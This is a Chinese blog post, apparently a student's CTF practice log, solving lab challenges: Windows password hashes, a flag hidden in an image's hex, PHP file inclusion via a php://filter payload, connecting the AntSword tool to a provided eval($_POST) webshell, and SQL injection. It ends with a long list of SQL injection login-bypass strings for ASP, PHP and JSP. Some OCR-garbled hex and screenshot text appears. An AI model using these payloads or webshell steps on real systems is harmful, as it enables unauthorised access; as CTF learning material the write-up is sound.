开学第五周刷题记录

原创

yujian ● 于 2020-10-11 10:54:13 发布 ● 1610 ☆ 收藏 1 分类专栏: <u>笔记</u>文章标签: web 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/qq_46172668/article/details/109003878</u> 版权



笔记 专栏收录该内容

38 篇文章 0 订阅 订阅专栏

Crypto

Windows系统密码

首先拿到题目,我们打开看一下,它后缀是.hash,双击之后我们发现打不开,这种情况有两种原因,一是我们没有安装相应的 软件,二是该文件被毁坏了,然后我们尝试用记事本打开看一下,结果发现原来重点在这:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::

Guest: 501: aad 3b 435 b 51404 e e aad 3b 435 b 51404 e e: 31 d 6 c fe 0 d 16 a e 931 b 73 c 59 d 7 e 0 c 089 c 0:::: a d 3b 435 b 51404 e e aad 3b 435 b 51404 e e a d 3b 435 b 5140

 ${\tt SUPPORT_388945a0:1001:} aad 3b435b51404ee aad 3b435b51404ee: bef14ee e40dff bc 345ee b3f58e 290d56:::$

我们观察一下,发现ctf后面有两个序列都是满足MD5加密格式

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::

SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::



Misc

[BJDCTF 2nd]小姐姐-y1ng

首先我们打开题目给的图片





(看到这么漂亮的小姐姐,你有没有心动呢),嘻嘻,我们还是专心做题吧,照着正常流程走,我们把它放到winhex中,看一下 头和尾,没有什么发现,然后我们再搜索一下文本flag,还是无果,我们再来看一下题目,BJDCTF,嗯...我们试着输一下BJD 没想到结果出来了

Offset	0	1	2	3	4	5	6	7	8	9	Α	В	С	D	Е	F	ANSI ASCII	~
000191D0	4D	B8	3E	64	7E	В2	E8	DA	C4	1A	F6	99	0D	F5	В3	87	M,>d~²èÚÄ ö™ õ³‡	
000191E0	49	54	37	04	1C	56	5B	9D	5B	AB	A 2	D9	E2	80	18	4D	IT7 V[[«¢Ù†M	
000191F0	00	26	7F	0A	00	69	A 0	06	9A	00	63	50	03	7A	50	02	& i šcPzP	
00019200	1A	00	69	E2	80	1A	4D	00	46	4D	00	31	8F	A 5	00	46	i†M FM 1 ¥ F	
00019210	68	01	28	01	AE	70	в4	01	59	F2	4D	4B	1A	13	A 0	Α7	h (®p´YòMK §	
00019220	A 8	58	AB	75	30	58	C8	Е9	52	5 A	3C	5B	E2	AE	BB	F6	¨X≪u0XÈéRZ<[â®≫ö	
00019230	3D	3E	E3	CC	C8	62	80	0 A	39	1B	79	39	3F	A 5	61	36	=>ãÌÈb 9 y9?¥a6	
00019240	74	C1	1F	22	78	94	в4	D3	CB	2C	9C	3B	31	6E	79	Е6	tÁ "x″´ÓË,œ;1nyæ	
00019250	в9	8E	В8	EC	72	82	4D	87	6E	4F	3F	CF	D2	AC	0A	AE	¹Ž,ìr , M‡nO?ÏC॑¬ ®	
00019260	3C	C2	7B	8E	BC	D5	A 2	49	6D	4E	C7	19	38	CF	72	68	<Â{޼բImNÇ 8Ïrh	
00019270	04	2E	AC	9B	EC	D8	F6	CE	79	A 1	16	F6	3C	9F	59	8B	.¬>ìØöÎy; ö<ŸY‹	
00019280	6D	EΒ	F6	07	D3	В5	74	C4	F3	E7	в9	89	70	4F	9B	EE	mëö ÓµtÄó繉pO>î	
00019290	3B	7A	56	86	0C	E9	42	4A	44	7B	68	61	6F	6B	61	6E	;zV† éBJD{haokan	
000192A0	6D	61	5F	78	6A	6A	7D	7C	2F	7C	EA	4C	6E	77	2F	03	ma xjj <mark>}</mark> / êLnw/	
000192B0	3E	9C	56	13	47	45	36	7A	25	84	6A	61	53	9E	83	91	>œV GE6z%"jaSžf`	
000192C0	FD	2В	9D	9D	D1	2A	EA	0B	89	30	31	4D	14	F4	33	Е7	ý+ Ñ*ê ‰01M ô3ç	
000192D0	C8	52	3A	0E	D9	AA	44	32	9A	AE	4F	6E	41	E2	в4	46	ÈR: ÙªD2š©OnAâ´F	
000192E0	2C	D7	D2	A 1	0D	F3	60	80	6A	88	45	BB	E2	00	3C	10	,×Ò; ó`€j^E»â <	
000192F0	05	03	D8	C4	в9	90	39	CE	7A	7A	76	A 0	44	26	E3	6F	ØÄ¹ 9Îzzv D&ão	
00019300	CA	0F	00	72	28	25	92	AC	BB	51	89	20	63	В5	31	9C	Ê r(%′¬»Q‰ cµlœ	
00019310	CE	В3	7B	BE	E5	53	23	07	BE	6A	92	31	9B	D4	AF	06	γ{¾åS# ¾j′1>Ĉ	
00019320	1C	0C	05	C1	EF	D2	Α9	12	69	D9	21	0 E	0F	1E	в9	22	ÁïÒ© iŪ̀! ¹"	
00019330	98	1D	FF	00	86	FC	61	36	9F	25	BD	в4	F7	0C	23	66	~ ÿ †üa6Ÿ%½´÷ #f	
00019340	18	25	8E	07	22	Α5	05	EC	7D	11	E1	BF	0B	69	7E	36	%Ž "¥ ì} á; i~6	
00019350	D0	93	F7	51	99	9F	21	25	18	1F	9E	2A	92	В9	57	4C	Ð"÷Q™Ÿ!% Ž*′¹WL	
00019360	F9	F7	E3	47	C0	\mathbf{FD}	43	C1	77	33	6A	36	56	E4	DB	64	ù÷ãGÀýCÁw3j6VäÛd	
00019370	В4	F0	C4	09	03	\mathbf{FD}	В5	FE	A 3	В5	4E	DA	1C	D7	70	7A	´ðÄ ýμþ£μΝÚ ×pz	
00019380	EC	79	0A	C8	A 0	06	03	3E	83	В5	5D	8D	2E	55	BA	BC	ìyÈ >fµ].U°¼	
00019390	31	E4	63	1C	D3	в0	73	15	16	57	99	86	79	C5	16	15	läc Ó°s W™tyÅ	
000193A0	EE	69	DA	40	F2	10	00	C6	7F	ЗA	19	47	55	A 2	Е9	80	îiÚ@ò Æ : GU¢é	
000193B0	A4	4A	$\mathbf{E0}$	71	DB	3D	2B	29	33	68	23	Α7	в2	80	$^{\rm CD}$	70	¤JàqÛ=+)3h#§²€Íp	
000193C0	21	80	0D	Α3	EF	3E	38	5F	6A	E7	68	\mathbf{EB}	4C	F4	7F	07	!€ £ï>8_jçhëLô	
000193D0	Е9	D1	DB	5F	2C	EE	Α1	A5	63	в6	14	$\mathbf{E0}$	00	3F	BD	F8	éÑÛ_,î;¥c¶ à ?½ø	
000193E0	55	Α4	43	67	39	F1	7F	E2	E4	88	65	D0	В4	4B	83	CF	U¤Cg9ñ âä^eÐ′KfÏ	
000193F0	17	37	Α9	FC	47	9F	95	7F	C6	в4	4C	E5	9B	72	D0	F0	7©üGŸ• Æ´Lå>rĐð	
00019400	D8	C7	05	8E	0C	9D	72	4D	31	25	62	8D	EΒ	89	5F	E6	ØÇŽ rM1%b ë‰æ	
00010/10	1.0	50	72	<u>a</u> 2	20	20	CF	סס	ъΛ	∩₽	C 2	10	60	10	03	η Ω	Del ((Î ∾Ô Ã 10	~~~~

Web

[ACTF2020 新生赛]Include1

首先我们打开题目链接http://56f3dad7-edff-4011-bb6c-ee4c8b0dab81.node3.buuoj.cn,跟着提示我们一步一步打开然后看到一 句话

Can you find out the flag?

https://blog.csdn.net/qq_46172668

你能够发现flag吗,点开源码,没有发现什么,然后看到网址找到它是.php类型的,知道了它是考察利用php://filter伪协议进行文件包含构造payload = http://5165ec02-c72d-4737-85c5-295e639ea759.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php,把它输入网址上然后我们就可以看到

PD9waHAKZV	VNobyAiQ2FuIHIvdSE	3maW5klG91dCB0aGUgZm;	khZz8iOwovL2ZsYWd7	7M2RkNDgxMDItZTIjMC00Z	mMxLWJkNzItZGJmMTM1NmY5NTJt	'Qo=
body 1216 × 233	.33					
🕞 💼 🛛 Eleme	nts Console Sources	Network Performance Memory	Application Security	Audits		: 7
<html></html>					Styles Computed Event Listeners >>	
<pre>> <neau></neau></pre> /neau.	>				Filter :hov	.cls + ^
"PD9waHAKZW 	NobyAiQ2FuIHlvdSBmaW5kIG9	1dCB0aGUgZmxhZz8iOwovL2ZsYWd7M2	RkNDgxMDItZTljMC00ZmMxLWJk	NZITZGJMMTM1NmY5NTJlfQo="	element.style { }	1
() ((((((((((((((((((<pre>body { user agent : display: block; margin: > 8px; } Inherited from html</pre>	stylesheet
					<pre>html {</pre>	stylesheet
html body					narain 0	eVqq_4617268&
然后我们ba	se64解密得到答: 在线加密解密(:	案 采用Crypto-JS实现)			🔀 Feedback	^
	加密/解密 散列/哈希	BASE64 图片/BASE64转换				
	明文:			BASE64:		
	php<br echo "Can you find out the //flag{0fe85007-6696-44a8	e flag?"; 5-aec0-a7dcf0443165}	BASE64编码 > 《BASE64解码	PD9waHAKZWNobyAiQ2FuIH OwovL2ZsYWd7MGZIODUwM NDQzMTY1fQo=	vdSBmaW5kIG91dCB0aGUgZmxhZz8i DctNjY5Ni00NGE1LWFIYzAtYTdkY2Yw	71



[极客大挑战 2019]Knife1

打开题目链接,http://db65a8cb-49ec-4028-8dc6-2ef21a55557b.node3.buuoj.cn,一张图片迎面而来



eval(\$_POST["Syc"]);

Syclover @ cl4y

https://blog.csdn.net/qq_46172

题目: 白给的shell,让我想起了上一周做的webshell,然后我们打开蚁剑输入相应的网址和密码,密码就是图片中所提示的syc

Ⅲ 数据管理 (1)								▶ 分类目录	录 (1)	>
URL地址	IP地	ht	物理位置	网站备注	创建时间	更新时间		● 添加	A重命名	會 删除
http://db65a8cb-49ec-40	28-8dc6- 111.7	📘 添加数据					_ 🗆 ×	□ 默认 ⁄	分类	1
		✿添加 >	、 清空 🔅 澳] 试连接						
		■基础配置 ◆								
		URL地址 * http://db65a8cb-49ec-4028-8dc6-2ef21a55557b.node3.buuoj.cn/								
		连接密码 *	Syd							
		网站备注								
		编码设置	UTF8				•			
		连接类型	PHP				•			
			编码器							
			 default 	(不推荐)						
			🔘 random	(不推荐)						
			O base64				-			
		e 请求信息 ^ Ø8 其他设置 ^								
								h		

然后点击添加,这样就添加好了

≔ 数据管理 (2)						▶分类目录(1)
URL地址	IP地址	物理位置	网站备注	创建时间	更新时间	●添加 A 重命名
http://db65a8cb-49ec-4028-8dc6-	111.73.46.229	江西省上饶市日	t	2020/10/11 09:30:44	2020/10/11 09:30:44	□默认分类 2
http://db65a8cb-49ec-4028-8dc6-	111.73.46.229	江西省上饶市日	ŧ	2020/10/11 09:27:48	2020/10/11 09:27:48	
						https://blog.csdn.nei/qq_4617266

然后我们双击讲去,打开它的根目录

tSword 编辑 窗口 调试						
■ □ 111.73.46.229 (※)						
目录列表 (20) <	□ 文f	牛列表 (22)				^
1	O 新	建 ▾ ↑ 上层 22 刷新 ☆ 主目录 ■ 书签	• /		→ 读	取
e- 🗖 var		名称	日期	大小	属性	
e- 🗖 www	-	ata	2020 05 20 00:10:49	66 h	0755	
html		etc	2020-03-29 09:19:46	00 D	0755	
bin		nome	2014-04-10 22:12:14	6 D	0/55	
boot		lib	2016-07-11 23:23:25	208 b	0/55	_
data		lib64	2016-07-11 23:23:12	34 b	0755	
dev	G	media	2016-07-11 23:22:49	6 b	0755	
elc		mnt	2014-04-10 22:12:14	6 b	0755	
lib		opt	2016-07-11 23:22:49	6 b	0755	
		proc	2020-05-29 09:19:49	0 b	0555	
media		root	2016-07-11 23:23:35	37 b	0700	
		run	2019-11-19 09:30:15	33 b	0755	
- opt		sbin	2016-07-22 15:18:57	44 b	0755	
proc	G	SrV	2016-07-11 23:22:49	6 b	0755	
- m root	G	sys	2020-05-05 12:23:44	0 b	0555	_
- 🖿 run	G	tmp	2020-05-29 09:19:51	6 b	1777	
- 🖿 sbin		usr	2016-07-22 15:18:57	81 b	0755	
srv	[⁻]	var	2019-11-19 09:28:18	28 b	0755	
sys		dockerenv	2020-05-29 09:19:48	0 b	0755	
- 🖿 tmp		flag	2020-05-29 09:19:10	43 h	0644	
usr usr		nag	2020 05 25 05.15.51	15 0	0074	

ay, 🔊

۲ _ @ X

		- 14/13 - 13/13/13/13/13/13/13/13/13/13/13/13/13/1
1	flag{5736e760-532b-4713-b370-ae69fcc09e3a}	
2		
2		

[极客大挑战 2019]EasySQL1

首先我们打开网址http://671f217e-489f-48b8-9a45-d30881488c54.node3.buuoj.cn/看到用户登录界面



题目是easysql,所以判断它应该是SQL注入,然后我们利用万能密码注入,可是万能密码也有不同类型的,所以我们打开源码



发现它是php写的,所以我们就用php的万能密码尝试,

admim'or'1'=1

连接起来username=admin' or '1'='1&password=admin' or '1'='1 文件匠 編輯 查看 D 历史 S 书签 B 工具 D 帮助 D



万能密码(摘自百度):

asp aspx万能密码

- 1: "or "a"="a
- 2: '.).or.('.a.'='.a
- 3: or 1=1-
- 4: 'or 1=1-
- 5: a'or' 1=1-
- 6: "or 1=1–
- 7: 'or.'a.'='a
- 8: "or"="a'='a
- 9: 'or''='
- 10: 'or'='or'

admin'or 1=1#

PHP万能密码

admin'/*

密码*/'

- 'or 1=1/*
- "or "a"="a
- "or 1=1–
- "or"="
- "or"="a'='a
- "or1=1–
- 011-1-
- "or=or"
- "or'='or'

^a) or (^aa = a '.).or.('.a.'='.a 'or 1=1 'or 1=1-'or 1=1/* 'or"="a'='a 'or' '1'='1' 'or''=' 'or''=''or''=' 'or'='1' 'or'='or' 'or.'a.'='a 'or1=1-1'or'1'='1 a'or' 1=1a'or'1=1or 'a'='a' or 1=1– or1=1jsp 万能密码 1'or'1'='1 admin' or 1=1/*